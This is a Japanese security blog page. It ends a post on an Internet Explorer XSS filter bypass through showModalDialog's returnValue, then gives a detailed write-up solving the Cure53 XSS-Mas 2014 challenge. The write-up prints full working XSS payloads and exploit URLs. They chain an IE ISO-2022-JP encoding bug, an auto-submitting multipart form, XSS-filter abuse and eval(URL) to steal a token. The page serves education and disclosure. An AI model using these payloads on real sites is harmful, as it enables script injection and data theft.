このバイパスはXSSフィルター側で容易に対策できると思います。具体的には、文字列リテラル部分の遮断ルールのブラックリストにreturnValueを追加するだけです。"returnValue"という文字列は長いので、副作用もなく簡単に追加できると思います。まぁ、リダイレクトを通さないと値が渡らないことから、別オリジンのreturnValueから値が渡ることはMicrosoftの認識からすればバグだと思うので根本的に直すならそっちを直すべきだと思いますが。


以上です。古い機能の有効活用みたいなかんじですね!

余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。それじゃまた!


追記(2015/6/17)

同一オリジンの別ページの情報を取得する方法を思いつきました。とりあえず以下のページで"go"を押して何が起こるか見てみてください。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

別ページにある「<h1>This is secret Text!</h1>」がアラートされれば成功です。XSSに脆弱なフレームから欲しい情報があるフレームにtop.targetFrame.document.body.innerHTMLを経由してアクセスしてます。気付いたかもしれませんが、今回はリダイレクトを使っていません。どうも、リダイレクトを使った場合だけでなく、showModalDialogを実行したページとダイアログに開いたページが同一オリジンの場合、ダイアログに含まれるインラインフレームの別オリジンのページもreturnValueを渡せる力があるみたいです。

これ以上触ると蛇が出そうな気しかしません!

追記(2016/2/9)

XSSフィルターバイパスの問題は、2015年12月の月例アップデートで修正されたようです。"returnValue"という文字列が文字列リテラルでのXSSの遮断でブラックリストに追加されているのを確認しました。CVE-2015-6164が恐らくこれです。
https://technet.microsoft.com/ja-jp/library/security/ms15-124.aspx#ID0EX1BG

showModalDialog自体の動作(クロスオリジンで値が渡る動作)は特に変更されていないようです。

2015/02/12

Cure53 XSSMas Challenge '14 Writeup

12月と言えばXSS-Masの季節ということで、最近は、XSS-Mas前から1月の終わりまで開催されていた、賞金付きXSSチャレンジ「Cure53 XSS-Mas Challenge 2014」に挑戦していました。

Cure53 XSS-Mas Challenge 2014
https://cure53.de/xmas2014/

出題者による想定解と全回答者の答え
https://github.com/cure53/xss-challenge-wiki/wiki/XSSMas-Challenge-2014

XSSチャレンジというのは、出題者がわざとわかりにくい形でXSSに脆弱にしたページ(例:特定の記号や文字が使えない、文字数制限がある等)で、指定した条件(alert関数 で「1」の文字をだすとか)をクリアして、スクリプトが実行できることを証明するという、XSSを嗜む人たちの間で楽しまれる一種のパズルゲームです。
実際にXSSで攻撃可能なことを証明しないといけない場面でも、特定の制約がかかることは多く、こういったチャレンジは単なるパズル遊びというだけでなく、攻撃の発想を養ううえでとても有益なものです。

興味があれば、yamagata21さん作の以下のチャレンジあたりからはじめるのがおすすめです。

XSS Challenges (by yamagata21)

このチャレンジは難易度設定が適切で、基本的なXSSから少し変わったものまでカバーしていて、これからXSSの攻撃手法を学んでみたいという人には、とてもいい教材だと思います。はじめて触れた人には、こんな手法もあるのか、という驚きがあるのではないでしょうか。

さて、今回のXSSチャレンジは、XSS方面で著名なMario Heiderichさんのペネトレーションテスト会社、「Cure53」が開催したものでした。

賞金付きというだけあって、非常に難易度が高く、挑戦者も気合いが入っていて、非常にエキサイティングなゲームでした。今年の優勝者はこちらでみられます。日本人と思われる名前ですね…。
ちなみに、昨年も賞金付きで開催されていて、ここで昨年の優勝者を見ることができます。日本人と思われる名前ですね…。

今回のチャレンジはとりわけマニアックなテクニックが必要で、非常に面白かったので、どのように答えに辿りついたかを記事にすることにしました。

まず、僕の最後に提出した答えはこれです。IE11で動作します。(※現在はページ構造が微妙に変わっているので、all[69] の部分を all[71] にしないと動きません。)
https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=name=URL,f.submit(f.action=all[69]+"?charset=iso-2022-jp&<script>\u2028location=name+',alert('+/'\\w+'/.exec(all[6].text)+')'")
制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。(実際に試すときは all[69] を all[71] にしてください。)
http://tinyurl.com/kzlqr33


制限を回避するために一部の文字を使わないようにしたり、XSSフィルターをあえて作動させようとしたり、ブラウザのバグを使ったりしたあと、さらに文字を短縮するために手を加えているので、何をやっているのか意味が分からないと思います。

でも、1つ1つのテクニックを小分けにしてみていけばそんなに難しいことはやっていないです。
それでは書いていきます!

https://cure53.de/xmas2014/

ルールは、「指定された2ページだけを使って隠されたトークンをユーザ操作なしにアラートせよ!短い文字数で達成できた人が勝ち!」といったところです。
まず、どこに文字を入れたらいいかを探すところからクイズになっています。
This page has a vulnerable parameter you may use. Use it wisely.
「it」を使えと言っているので正直に使うと、

https://cure53.de/xmas2014/?it=">abc
<li><b>The challenge ends on 31st of January 2015</b></li>
i�</ul>
ページの下の方に変な文字がでてきました。
何だか入力値が加工されて出力されているっぽいです。Base64に変換しようとしていると仮定してBase64エンコードした文字を入れてみます。

https://cure53.de/xmas2014/?it=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<li><b>The challenge ends on 31st of January 2015</b></li>
<script>alert(1)</script></ul>
Base64だったようです。今回はアラートを出して終わりではなく、別のページにあるtokenをアラートせよというルールなので、別のページを見に行きます。


アクセスすると、以下の、
<script>
    history.pushState('', '', '/token-dispenser-5861d39/');
    // you cannot access the secret token quite yet
</script>
history.pushState()でURLが即座に変なものに置き換わります。
これはひとまずスルーします。ソースの他の部分をみましょう。
<span style="display:none">{{post.charset}}</span>
パラメータのヒント?
レスポンスヘッダをみると、
Content-Type: text/html; charset=charset

"charset"という名前の文字列がcharsetに指定されています。
そんなcharsetは存在しないのでこの指定は適切ではないです。この2点から「charset」というパラメータがありそうなので、つけてみます。

https://heideri.ch/alpudo?charset=utf-8

アクセスしてレスポンスヘッダをみると、
Content-Type: text/html; charset=UТF-8
おお、UTF-8が入りました。いや、でもよくみると何かがおかしいです。アルファベットのティーにみえる「Т」は  U+0422 です。これじゃcharset指定はきいていません。いろいろ入れて試すと、「UTF」「CP」「IBM」という文字があった場合、一部が偽アルファベットに置換されるようになっていました。「UTF-16」とか「UTF-7」とか、ページを簡単に破壊しそうなエンコーディングは使えないようにしている意図を感じます。

charset指定ができるということは、charset固有の符号化規則を使って解決してほしい部分がどこかにあるはずです。charsetはいじれることは覚えておいて、他を見ます。

ページ内の大量の改行の後に以下の文字列を発見できます。
<!--because nobody likes guessing games... the name is дaтотека    -->

「дaтотека」ってなんでしょうか。

https://translate.google.com/#auto/ja/%D0%B4a%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

うまく訳せません。でもこれ、よくみると2番目の「a」と最後の「а」が違う文字です。2番目のただのアルファベットのエー(0x61)を最後の「а」と同じ文字に変えて翻訳にかけてみると、

https://translate.google.com/#auto/ja/%D0%B4%D0%B0%D1%82%D0%BE%D1%82%D0%B5%D0%BA%D0%B0

「ファイル」ってでました!このページのURLは「https://heideri.ch/alpudo」です。これは多分uploadのアナグラムです。
ファイルをアップロードできるんでしょうか。

https://heideri.ch/alpudo に対して適当にフォームを作って空のテキストファイル(A.txt)をとばしてみます。
<form action=https://heideri.ch/alpudo enctype=multipart/form-data method=post>
<input type=file name=file>
<input type=submit value=upload>
</form>
すると、レスポンスがかわります。

<script>
    history.pushState('', '', '/token-dispenser-cdc1d9/');
    window['tοken'] = '545ae4f986fe9647535ffb6a5ef330c82add451d';
        // This sandbox is UNBREAKABLE! REally!
    (function(Object) {
        function recursiveFreeze(target) {
            var proto = target.__proto__;
            for (var name in target) {
                freeze(target, name);
            }
            var list = Object.getOwnPropertyNames(target);
            for (var i = 0; i < list.length; i++) {
                name = list[i];
                freeze(target, name);
            }
            proto && recursiveFreeze(proto);
         
            function freeze(target, name) {
                var whitelist = '__defineGetter__';
                if (!~whitelist.indexOf(name))try {
                    target.__defineGetter__(name, function() {});
                    Object.defineProperty(target, name, {configurable: false, value: '#'});
                } catch (e) {}
            }
        }
     
        recursiveFreeze(document); // freeze every property on document object
        recursiveFreeze(window); // freeze every property on window object
    })(Object);
    </script>
</head>
<body>
Thanks for the <i>errrm</i> fish!!
<br>
<a href="#" title="A">{{$name}}</a>
<br />
<span title="txt">{{$type}}</span>
<br />

おっ、こっちが指定したファイル名と拡張子(赤字部分)がtitle属性に入ってますね!ここからXSS文字列を挿入するんでしょうか。
また今回アラートせよといっているtoken文字列(青字部分)もでてきました。
そのあとごちゃごちゃjsが書かれてますが、これは自前のサンドボックス処理で、alertなどを簡単に呼び出せないようにしているようです。(試しにコンソールを開いてalertを呼び出そうとしてみるとわかります。)

まずやるのは、普通にファイル名に「"<>」とかを含んだ文字列を投げることですが、やっぱりこれはちゃんと置換されます。先ほど発見した、文字コードの変更と組み合わせてなんとかしてほしそうです。

「"<>」を「0x22」「0x3C」「0x3E」以外のバイト値で表現できる文字コードがあるなら何とかなりそうな気がします。そんな文字コードあるんでしょうか?あるんですよ!
以下に僕が以前調査したASCIIと全く互換性のない文字コードのリストがあります。

http://l0.cm/encodings/test7/

この中で「UTF」「CP」「IBM」という禁止された文字列が含まれていないのは「x-ebcdic-koreanextended」とかですね。IEでアクセスしてみると、ページがめちゃくちゃになります。

https://heideri.ch/alpudo?charset=x-ebcdic-koreanextended

これを使ってもできそうな気もしますが、「x-ebcdic-koreanextended」とか長いし、token部分が別の文字でつぶれてしまうのでtokenが取り出しにくいかんじです。実はIEにはまだ特別な方法があります。
以下はこれまた僕が以前調査した、イレギュラーなバイト列で「"<>」などが表現できるリストです。

http://l0.cm/encodings/test1/

ISO-2022-JPをみてください。「"<>」が変なバイト列で出現します。これは文字コードの仕様としてそうなっているのではなくて、単なるIE側のむちゃくちゃなバグです。今回は、これを使ってやってみます。

ところで、ファイルアップロード相当のリクエストはユーザがファイルを選択するというユーザ操作が絶対に必要でしょうか?今回、ユーザインタラクションなしにしろ( ページを開いてから攻撃までユーザによるクリックやマウス移動などの操作を介在せずにやれということ )という指示があるので、いくらここに文字列を挿入できても、ユーザ操作なしにできないと意味がありません。

実はファイルアップロード相当のリクエストはユーザ操作なしに送信できます。
いくつか方法はありますが、今回はIEのmultipart/form-dataのフォームのバグを使います。

このバグに関しては徳丸さんによる丁寧な解説記事がありますので、そちらを参照してください。

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる | 徳丸浩の日記
http://blog.tokumaru.org/2014/01/ie9html.html

また、その他の方法は他の回答者の解をみてください!

さあ、このISO-2022-JPのバグとフォームのバグを使って最初のページからリクエストを投げ、tokenのあるページでスクリプトを実行することろまでやってみましょう。

<form action="//heideri.ch/alpudo?charset=iso-2022-jp" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bsvg onload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

これをBase64化してIE11でアクセスしてみると…

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

あれ!アラート出ません!これは例の自前のサンドボックス処理があるからです。あの部分が邪魔なので、XSSフィルターにぶち壊してもらいましょう!こういうときに便利だなXSSフィルター!

<form action="//heideri.ch/alpudo?charset=iso-2022-jp&<script>" enctype="multipart/form-data" method="post">
<textarea name='file";filename="$B(Bonload=alert(1) '></textarea>
</form>
<script>document.forms[0].submit()</script>

URLに"<script>"という文字を入れて、XSSフィルターを反応させ、scriptタグ内のサンドボックス化の処理を走らなくさせます。

https://cure53.de/xmas2014/?it=PGZvcm0gYWN0aW9uPSIvL2hlaWRlcmkuY2gvYWxwdWRvP2NoYXJzZXQ9aXNvLTIwMjItanAmPHNjcmlwdD4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0icG9zdCI%2BPHRleHRhcmVhIG5hbWU9J2ZpbGUiO2ZpbGVuYW1lPSIbJEIbAQMBHwEdGyhCc3ZnIG9ubG9hZD1hbGVydCgxKSAnPjwvdGV4dGFyZWE%2BPC9mb3JtPjxzY3JpcHQ%2BZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk8L3NjcmlwdD4=

やったあ!今度はアラートでましたね!あとは、token部分の文字列を正規表現で切り出してアラートすればミッション達成というわけです!
お疲れ様です!ここまで理解できれば問題はクリアできています。これ以上先は文字を短くする作業になります。

ここからがこのチャレンジの勝負どころではあるのですが、1つ1つ過程をなぞっていくと膨大な解説になってしまうので断念しました。これ以上興味がある人は直前で示した僕の回答を短くしようとしてみてください。そうすれば自然と僕の回答に近づくはずで、なぜそうしたかの理由がわかってくると思います。どうしてもよくわからない部分があれば、個別にきいてもらえれば答えます。また、こうすればもっと短くなる、みたいなのに気付かれた方はぜひ教えてください!

最後に1つだけ、今回も使った、XSSerならおさえておきたい短縮テクニックを紹介して終わりたいと思います。

今回は挿入コードがBase64化されることで、文字数が大幅に増えてしまいます。そこで、全部のコードをBase64の部分に含めるのではなく、evalを実行するコードだけBase64部分に書いておいて、直接URLに書いたJavaScript文字列を走らせるようにします。
このテクニックはGareth Heysさんにより2012年に紹介されています。
詳細はGarethさんのブログを参照してください。

Eval a url
http://www.thespanner.co.uk/2012/05/08/eval-a-url/

このテクニックを使って、以下のようにすれば今回もアラートをだせます。

https://cure53.de/xmas2014/?it=PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg#
alert(1)


出力される部分に文字数制限があるときなどに使えるので、覚えておくといいと思います!


余談として、僕はcure53.deが攻撃者のサイトで、heideri.chがターゲットのサイトと想定して、cure53.de上でtokenをアラートすることがtokenを奪ったことになるとルールを勝手に解釈していました。他の回答者がheideri.chのコンテキストでアラートを出しているのに対し、僕の提出した解はいちいちcure53.deに戻ってからアラートを出しているのはそういうわけです。このtokenを引き渡す部分には特に時間を費やして小さくして、凄くエレガントな解になったと思ったんですが、ルールをよく読めばこんなにここに力を注ぐ必要はなかったのでした…。まあ、ルールにはどこでアラートするかの指示はないのでこれでもいいわけですが、戻るのは明らかに無駄なステップで、このことに気づけばもっと簡単に他の回答者より短い解を示すことができていたので、終わってから気付いて大分ショックでした。

heideri.chでアラートするようにすれば、今回のカウント方法だと265バイト(提出した僕の記録は292なのでマイナス27バイト!)まで短くできます。

https://cure53.de/xmas2014/?<form id=f enctype=multipart/form-data method=post>PHN0eWxlL29ubG9hZD1ldmFsKFVSTCkg<textarea name='file";filename="#$B(Bsvg onload=eval(URL) '
outerHTML=URL,f.submit(f.action=all[71]+"?charset=iso-2022-jp&<script>\u2028alert(all[6].text.split(/'/)[9])")

制御文字が含まれていてうまくコピーできないかもしれないので以下のリダイレクト先にあるテキストエリアからコピーしてIEのアドレスバーにはりつけるとうまくいくかと思います。
http://tinyurl.com/lwrj5rj

結果的には、追い抜かれたりしたおかげで、さらに短くする方法を思いついたりして、簡単に1位になるよりは短縮法を追究できたのでよかったです。
大変勉強になりました。参加者の皆さん、ありがとうございました!(日本語で書いてもしょうがないかんじだけど!)


今回紹介したテクニックをまとめます。

・IEのISO-2022-JPの文字コードのバグ
・IEのmultipart/form-dataのフォームのバグ
・XSSフィルターを攻撃に利用するアイデア
・eval(URL)などの短縮テクニック


明日から使えますね!!
来年ももし開催されるならまた挑戦したいです!